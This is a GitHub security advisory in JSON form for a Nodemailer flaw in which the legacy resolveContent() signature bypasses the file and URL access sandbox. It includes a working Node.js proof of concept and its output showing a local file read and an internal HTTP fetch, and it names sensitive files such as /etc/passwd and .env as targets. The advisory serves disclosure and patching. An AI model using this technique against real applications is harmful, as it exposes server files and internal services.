GHSA-8m3c-c648-2xjj: Nodemailer ResolveContent() On A MailMessage Bypasses Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8m3c-c648-2xjj",
  "modified" : "2026-09-08T21:16:00Z",
  "published" : "2026-09-08T21:16:00Z",
  "aliases" : [ ],
  "summary" : "Nodemailer: resolveContent() on a MailMessage bypasses disableFileAccess/disableUrlAccess when called with the legacy signature",
  "details" : "### Summary\n\nNodemailer's `disableFileAccess` / `disableUrlAccess` options are a security sandbox that lets an application forbid untrusted message content (`html`/`text`/attachment `path`/`href`) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit `5f69497`) threaded these flags through the library's internal resolution paths (`MailMessage.resolveAll()` and `_convertDataImages()`), but the public plugin API `MailMessage.resolveContent(...args)` (`lib/mailer/mail-message.js:41-43`) remains a raw passthrough to `shared.resolveContent()`.\n\nWhen called with the documented legacy signature `mail.resolveContent(data, key, callback)`, `shared.resolveContent` normalizes the missing options argument to an empty object (`options = options || {}`, `lib/shared/index.js:530`). The message-level flags that the `MailMessage` constructor already copied into `mail.data` (`lib/mailer/mail-message.js:34-38`) are silently discarded, so `resolveContentValue` skips both access-control guards and reaches `nmfetch(url)` (SSRF, `lib/shared/index.js:588`) or `fs.createReadStream(path)` (arbitrary file read, `lib/shared/index.js:597`).\n\nA plugin or application code that resolves message content through the documented API (the same API the library's own `_convertDataImages` uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.\n\n### Details\n\nRoot cause. The `MailMessage` constructor stores the transporter-level sandbox flags on the message object (`lib/mailer/mail-message.js:34-38`):\n\n```js\n['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => {\n    if (key in options) {\n        this.data[key] = options[key];\n    }\n});\n```\n\nThe public resolver is a pure passthrough (`lib/mailer/mail-message.js:41-43`):\n\n```js\nresolveContent(...args) {\n    return shared.resolveContent(...args);\n}\n```\n\n`shared.resolveContent` supports the legacy 3-argument signature and collapses the missing options to `{}` (`lib/shared/index.js:524-530`):\n\n```js\nmodule.exports.resolveContent = (data, key, options, callback) => {\n    // options is optional; support the legacy resolveContent(data, key, callback) signature\n    if (!callback && typeof options === 'function') {\n        callback = options;\n        options = false;\n    }\n    options = options || {};\n    ...\n    resolveContentValue(data, key, options, callback);\n```\n\n`resolveContentValue` then checks `options.disableUrlAccess` / `options.disableFileAccess` (`lib/shared/index.js:581` / `:590`), both `undefined` for the legacy signature, so it falls through to `nmfetch` (`:588`) or `fs.createReadStream` (`:597`).\n\nContrast with the fixed paths. `resolveAll()` (`lib/mailer/mail-message.js:112-115`) and `_convertDataImages()` (`lib/mailer/index.js:437-440`) both pass the message flags explicitly. The MIME streaming path (`lib/mime-node/index.js:1059-1077`) also honors the flags. So an application that enables the sandbox and then calls `transporter.sendMail()` is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the `resolveContent` JSDoc at `lib/shared/index.js:510-523` states it is \"useful when you want to create a plugin that needs a content value\").\n\nAffected versions. Confirmed on `9.1.0` (HEAD `efd6e29c10c6e0c25c57bd2f2a71302838235a4f`, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (`test/mailer/mail-message-test.js` contains no `resolveContent` test).\n\n### PoC\n\nRequires: `nodemailer@9.1.0`, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.\n\n```js\n'use strict';\nconst nodemailer = require('nodemailer');\nconst MailMessage = require('nodemailer/lib/mailer/mail-message');\n\nconst TARGET_FILE = '/app/src/package.json';   // any readable local file\nconst SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target\n\nconst transporter = nodemailer.createTransport({\n    streamTransport: true,\n    disableFileAccess: true,   // sandbox explicitly enabled\n    disableUrlAccess: true\n});\n\nconst data = {\n    from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',\n    html: { path: TARGET_FILE },\n    attachments: [{ filename: 'x.bin', href: SSRF_URL }]\n};\nconst mail = new MailMessage(transporter, data);\n// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true\n\n// Documented legacy plugin signature — options argument omitted:\nmail.resolveContent(mail.data, 'html', (err, value) => {\n    if (err) return console.log('BLOCKED', err.code);\n    console.log('FILE_READ_OK len=', value.length);          // -> 1647 (package.json)\n});\nmail.resolveContent(mail.data.attachments, 0, (err, body) => {\n    if (err) return console.log('BLOCKED', err.code);\n    console.log('URL_FETCH_OK body=', body.toString());      // -> fetched response\n});\n```\n\nObserved output on the audit environment (Node 22, `nodemailer@9.1.0`):\n\n```text\nmail.data.disableFileAccess = true | disableUrlAccess = true\n[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json\n[CONTROL html.path explicit-options] err = EFILEACCESS\n[BYPASS html.path legacy] READ OK len = 1647 head = \"{\\n    \\\"name\\\": \\\"nodemailer\\\",\\n    \\\"version\\\": \\\"9.1.0\\\",\\n    \\\"des\"\n[BYPASS att[0].href legacy] FETCH OK len = 13 body = \"HTTP-SINK OK\\n\"\n```\n\nThe negative controls (`resolveAll`, and `resolveContent` with explicit `{ disableFileAccess: true }`) return `EFILEACCESS`, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real `transporter.sendMail()` flow when a `compile` plugin calls `mail.resolveContent(mail.data, 'html', cb)` / `mail.resolveContent(mail.data.attachments, 0, cb)`.\n\n### Impact\n\nAn application that enables `disableFileAccess` / `disableUrlAccess` to contain untrusted message content and that resolves content through the documented plugin API (`mail.resolveContent(data, key, callback)`) has its sandbox silently bypassed:\n\n- Arbitrary local file disclosure: a message `html`/attachment `path` pointing at a server file (`/etc/passwd`, `.env`, key material) is read and returned to the caller / delivered in the message.\n- Server-side request forgery: a message `href` pointing at an internal or loopback URL is fetched from the application host.\n\nReachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default `transporter.sendMail()` path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "nodemailer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.1.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 9.1.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nodemailer/nodemailer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/releases/tag/v9.1.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73", "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-08T21:16:00Z",
    "nvd_published_at" : null
  }
}